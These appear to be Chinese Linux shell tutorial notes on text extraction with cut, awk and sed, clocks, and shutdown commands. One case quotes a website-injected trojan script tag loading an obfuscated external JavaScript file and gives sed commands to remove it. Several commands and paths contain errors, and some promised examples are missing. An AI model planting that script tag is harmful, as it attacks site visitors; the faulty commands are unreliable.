十、一些小例子
1.请执行命令取出linux中 eth0的IP地址
1)cut:如下:ifconfig eth0|grep "inet addr"|cut -d ":" -f2|cut -d " " -f1
2)awk: 如下:ifconfig eth0|grep "inet addr" |awk -F ":" '{print $2}'|awk '{print $1}'
3)sed: ifconfig eth0 | sed -n '2p'|awk -F "[: ]+" '{print $4}'
4 ) NR==2: ifconfig eth0 | awk -F "[: ]+" 'NR==2 {print $4}'
5)此方法较难,看大家是否理解,其中sed有一个功能,就是()里面可以第一个看成1,第二个看成2,第三个。。。
ifconfig eth0|sed -n 's#^.*addr\(.*\) Bcast.*#\1#gp'
2.提取一个文件的权限,转换成数字.
这里给出两种方法
3.请写出默认DNS路径 /ect/resolv.conf
4.企业案例:
企业的网站遭受木马攻击,导致网站目录下所有的文件都被篡改了
解决思路:需要遍历所有目录,所有文件,将植入的内容删除了
1)模拟插入数据
2)替换或者删除
替换(替换完成后,会有空格): find ./ -type f|xargs sed -i '#<script language=javascript -http://%4%66E%78%6F%67%2E%70%6F/x.js?google_ad-93x28_ad></script>'##g
删除:find ./ -type f|xargs sed -i '/<script language=javascript src-http:\/\/%4%66E%78%6F%67%2E%70%6F\/x.js?google_ad-93x28_ad><\/script>/d'
5.echo 命令
6.日期的表达:hwclock 表示写在芯片上,bash上,一般没有需求。
在Linux中有硬件时钟与系统时钟等两种时钟。硬件时钟是指主机板上的时钟设备,也就是通常可在BIOS画面设定的时钟。系统时钟则是指kernel中的时钟。当Linux启动时,系统时钟会去读取硬件时钟的设定,之后系统时钟即独立运作。所有Linux相关指令与函数都是读取系统时钟的设定。
具体要了解的可以百度一下,工作中应该是用不到的,我们只要已网络上的时间同步本地的就可以了,网上时间同步,会写入系统时间。
Linux系统中硬件时钟的基本目的是在Linux不运行时保持时间。(当设备重启,系统时间会停止,但是cpu中硬件时钟不会停止)。在Linux启动时,将系统时间从硬件时钟初始化,然后不再使用硬件时钟。
所以我们设置了从网上获取时间,则就不需要从硬件设备获取时间了。
三天前,三天后,三小时前
7.反引号是在一堆文字中,解析反引号里面的内容,命令输出,等价于$()
8.关机和重启命令:
关机: shutdown -h now
shutdown -h +1 (一分钟后关机)
init 0
halt (停止系统运行,需要人工关电源)
重启:
shutdown -r now
reboot
shutdow -r +1
init 6
注销:
logout
exit
ctrl+d
清屏:clear=ctrl+l
剪贴:ctrl+u